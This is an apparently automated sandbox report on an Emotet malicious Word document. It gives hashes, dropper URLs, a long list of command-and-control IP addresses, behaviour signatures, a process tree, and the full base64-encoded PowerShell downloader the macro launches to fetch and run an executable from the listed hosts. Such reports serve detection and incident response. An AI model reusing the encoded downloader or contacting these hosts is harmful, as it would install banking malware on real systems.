emotet | b2af72414cca6a559fbc5e9254b6080ce9d292ef4b2a37d8973118f7fffca277

Analysis

max time kernel
136s
max time network
133s
platform
windows10_x64
resource
win10
submitted
01/10/2020, 04:26

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General

Target
emotet_e1_b2af72414cca6a559fbc5e9254b6080ce9d292ef4b2a37d8973118f7fffca277_2020-10-01__042449652838._doc.doc
Size 124KB
Sample201001-ytrxrx653x
SHA256 b2af72414cca6a559fbc5e9254b6080ce9d292ef4b2a37d8973118f7fffca277
MD5 ace1ec80d60bff7c86beeed618ccc4d2
SHA1 9041179f39dda19a04674c0616a1a182f7f2df2f
SHA512 3d28e59c41aef30cca021c12b4b822842d5b343fed2c6c1064f278f68210b6f3a632fda17e16bb399d72ccbf5f4a6758134f8d6209d90bd15cedd1fa01644d09
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://movewithketty.com/cgi-bin/LXr/
exe.dropper
http://pixnbeats.com/chanakua.org/6/
exe.dropper
http://trainingbodies.com/Reporting/YR/
exe.dropper
http://voxdream.com/wp-includes/0Oj/
exe.dropper
https://travcalls.com/blogs/E/
exe.dropper
http://aeropilates.cl/wp-content/rNM/
exe.dropper
http://hesa.co.id/_errorpages/1x/

Extracted

Family

emotet

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2516	1576	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3444-13-0x0000000000500000-0x0000000000512000-memory.dmp	emotet
behavioral2/memory/3444-14-0x0000000002210000-0x0000000002220000-memory.dmp	emotet
behavioral2/memory/2408-17-0x0000000000720000-0x0000000000732000-memory.dmp	emotet
behavioral2/memory/2408-18-0x0000000000740000-0x0000000000750000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	2516	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3444	Eqfkis.exe
2408	Windows.Networking.NetworkOperators.HotspotAuthentication.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\cnvfat\Windows.Networking.NetworkOperators.HotspotAuthentication.exe	Eqfkis.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4012	WINWORD.EXE
4012	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2516	POwersheLL.exe
2516	POwersheLL.exe
2516	POwersheLL.exe
2408	Windows.Networking.NetworkOperators.HotspotAuthentication.exe
2408	Windows.Networking.NetworkOperators.HotspotAuthentication.exe
2408	Windows.Networking.NetworkOperators.HotspotAuthentication.exe
2408	Windows.Networking.NetworkOperators.HotspotAuthentication.exe
2408	Windows.Networking.NetworkOperators.HotspotAuthentication.exe
2408	Windows.Networking.NetworkOperators.HotspotAuthentication.exe
2408	Windows.Networking.NetworkOperators.HotspotAuthentication.exe
2408	Windows.Networking.NetworkOperators.HotspotAuthentication.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2516	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE
4012	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 3444	2516	POwersheLL.exe	78
PID 2516 wrote to memory of 3444	2516	POwersheLL.exe	78
PID 2516 wrote to memory of 3444	2516	POwersheLL.exe	78
PID 3444 wrote to memory of 2408	3444	Eqfkis.exe	81
PID 3444 wrote to memory of 2408	3444	Eqfkis.exe	81
PID 3444 wrote to memory of 2408	3444	Eqfkis.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b2af72414cca6a559fbc5e9254b6080ce9d292ef4b2a37d8973118f7fffca277_2020-10-01__042449652838._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4012

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABXAHIAaQBlAGcAZQBhAD0AKAAoACcAVABsACcAKwAnAGYAJwApACsAKAAnAHkAMAAnACsAJwA0ADUAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AVgA6AHUAcwBFAFIAcABSAE8AZgBpAEwAZQBcAHAAdABoAGkAeABfAFYAXABPAFMAZwA1AFYAawByAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAFUAcgBJAGAAVABZAFAAUgBvAHQAYABvAEMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAJwApACsAKAAnADEAJwArACcAMgAsACcAKQArACcAIAB0ACcAKwAnAGwAJwArACgAJwBzADEAMQAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEUAZQBwAHMAbQA0ADAAIAA9ACAAKAAoACcARQBxACcAKwAnAGYAJwApACsAKAAnAGsAaQAnACsAJwBzACcAKQApADsAJABDAHoAdQBsAGQAbwB5AD0AKAAnAFgAJwArACgAJwB5ADYAJwArACcAdwA3AHUAJwApACsAJwA1ACcAKQA7ACQAQwBqADIANwB3AHUAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE4AJwArACcAdABjACcAKQArACgAJwBQAHQAaABpACcAKwAnAHgAJwArACcAXwB2ACcAKQArACcATgB0ACcAKwAnAGMATwAnACsAJwBzAGcAJwArACgAJwA1AHYAJwArACcAawAnACkAKwAnAHIATgAnACsAJwB0AGMAJwApAC4AIgByAGAARQBwAEwAQQBjAEUAIgAoACgAJwBOAHQAJwArACcAYwAnACkALABbAHMAVAByAGkATgBnAF0AWwBjAEgAYQByAF0AOQAyACkAKQArACQARQBlAHAAcwBtADQAMAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQATABzADMAcwBsADUAOAA9ACgAKAAnAFQAJwArACcAeQBiAHgAZgAnACkAKwAnAGUAZwAnACkAOwAkAFoAdwA5AGwAbwA4AGEAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAGIAYwBsAGkARQBOAHQAOwAkAEEAaQBkAGwAMwBuAGsAPQAoACcAaAAnACsAKAAnAHQAdABwADoAJwArACcALwAvAG0AbwAnACkAKwAnAHYAJwArACgAJwBlAHcAJwArACcAaQB0AGgAJwArACcAawAnACkAKwAoACcAZQB0ACcAKwAnAHQAeQAnACkAKwAnAC4AJwArACcAYwAnACsAKAAnAG8AJwArACcAbQAvAGMAJwApACsAKAAnAGcAaQAtACcAKwAnAGIAJwApACsAJwBpAG4AJwArACcALwBMACcAKwAnAFgAJwArACcAcgAnACsAKAAnAC8AKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcAA6AC8ALwAnACsAJwBwACcAKQArACgAJwBpAHgAJwArACcAbgBiACcAKQArACgAJwBlAGEAdABzAC4AJwArACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AYwAnACsAJwBoAGEAbgAnACkAKwAoACcAYQBrAHUAYQAuAG8AJwArACcAcgBnACcAKwAnAC8AJwArACcANgAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwB0AHIAJwApACsAKAAnAGEAJwArACcAaQBuACcAKQArACcAaQBuACcAKwAnAGcAJwArACgAJwBiAG8AJwArACcAZABpACcAKQArACgAJwBlAHMALgBjAG8AbQAnACsAJwAvACcAKQArACcAUgAnACsAKAAnAGUAcABvAHIAJwArACcAdABpACcAKQArACgAJwBuACcAKwAnAGcALwBZACcAKQArACcAUgAvACcAKwAoACcAKgBoAHQAJwArACcAdABwACcAKQArACgAJwA6ACcAKwAnAC8ALwB2ACcAKwAnAG8AeAAnACkAKwAnAGQAcgAnACsAJwBlACcAKwAoACcAYQBtACcAKwAnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAdwBwAC0AaQBuACcAKwAnAGMAJwArACcAbAAnACkAKwAoACcAdQBkAGUAcwAvACcAKwAnADAAJwApACsAJwBPACcAKwAnAGoALwAnACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAcwA6AC8AJwArACcALwB0ACcAKwAnAHIAYQB2ACcAKQArACcAYwBhACcAKwAnAGwAJwArACgAJwBsAHMALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACgAJwBiAGwAbwAnACsAJwBnAHMALwAnACkAKwAoACcARQAnACsAJwAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AYQBlACcAKQArACcAcgBvACcAKwAoACcAcAAnACsAJwBpAGwAYQAnACkAKwAnAHQAZQAnACsAJwBzAC4AJwArACgAJwBjACcAKwAnAGwALwAnACkAKwAnAHcAJwArACcAcAAnACsAJwAtAGMAJwArACcAbwBuACcAKwAoACcAdAAnACsAJwBlAG4AJwArACcAdAAvAHIATgBNAC8AKgBoACcAKQArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwBoAGUAJwArACcAcwAnACkAKwAoACcAYQAuACcAKwAnAGMAbwAnACsAJwAuAGkAJwArACcAZAAvAF8AZQByACcAKQArACcAcgAnACsAJwBvAHIAJwArACgAJwBwACcAKwAnAGEAZwAnACkAKwAoACcAZQBzAC8AJwArACcAMQAnACkAKwAnAHgALwAnACkALgAiAFMAUABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgB4AGUAcQB3ADUAOAA9ACgAKAAnAEIAZQAnACsAJwBpACcAKQArACgAJwBfAGUAJwArACcAZwAnACkAKwAnADAAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWABlADQAMgA0AHAAMQAgAGkAbgAgACQAQQBpAGQAbAAzAG4AawApAHsAdAByAHkAewAkAFoAdwA5AGwAbwA4AGEALgAiAEQAYABPAGAAVwBuAEwAbwBBAGQAZgBpAGwAZQAiACgAJABYAGUANAAyADQAcAAxACwAIAAkAEMAagAyADcAdwB1AHMAKQA7ACQASgBrAHoAMwByAF8AcwA9ACgAJwBUACcAKwAnAG4AdQAnACsAKAAnAHAAJwArACcAbgBhAGIAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAQwBqADIANwB3AHUAcwApAC4AIgBMAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMANQA2ADEAMQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABDAGoAMgA3AHcAdQBzACkAOwAkAE4AaQBpAHAAbwB1AHgAPQAoACcAUwAnACsAKAAnAHAAJwArACcAaAB3ADkAJwApACsAJwBkAHYAJwApADsAYgByAGUAYQBrADsAJABMAGwANwBwAG8ANgBvAD0AKAAnAFcAeQAnACsAKAAnAGoAagByACcAKwAnAHoAJwApACsAJwBiACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABzAHYAOQAyAGYAMAA9ACgAJwBCAGcAJwArACgAJwAyAHYAawAnACsAJwB5ADUAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Users\Admin\Pthix_v\Osg5vkr\Eqfkis.exe
  "C:\Users\Admin\Pthix_v\Osg5vkr\Eqfkis.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\SysWOW64\cnvfat\Windows.Networking.NetworkOperators.HotspotAuthentication.exe
    "C:\Windows\SysWOW64\cnvfat\Windows.Networking.NetworkOperators.HotspotAuthentication.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2408

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2408-18-0x0000000000740000-0x0000000000750000-memory.dmp

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memory/2408-17-0x0000000000720000-0x0000000000732000-memory.dmp

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memory/2516-8-0x00000152A06E0000-0x00000152A06E1000-memory.dmp

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memory/2516-7-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

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memory/2516-9-0x00000152B88B0000-0x00000152B88B1000-memory.dmp

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memory/3444-13-0x0000000000500000-0x0000000000512000-memory.dmp

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memory/3444-14-0x0000000002210000-0x0000000002220000-memory.dmp

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memory/4012-0-0x0000020B7A460000-0x0000020B7AB26000-memory.dmp

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memory/4012-6-0x0000020B08AD5000-0x0000020B08ADA000-memory.dmp

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memory/4012-5-0x0000020B08AD5000-0x0000020B08ADA000-memory.dmp

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memory/4012-4-0x0000020B0638E000-0x0000020B06393000-memory.dmp

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memory/4012-3-0x0000020B08925000-0x0000020B0892A000-memory.dmp

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memory/4012-2-0x0000020B08920000-0x0000020B08925000-memory.dmp

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memory/4012-1-0x0000020B08925000-0x0000020B0892A000-memory.dmp

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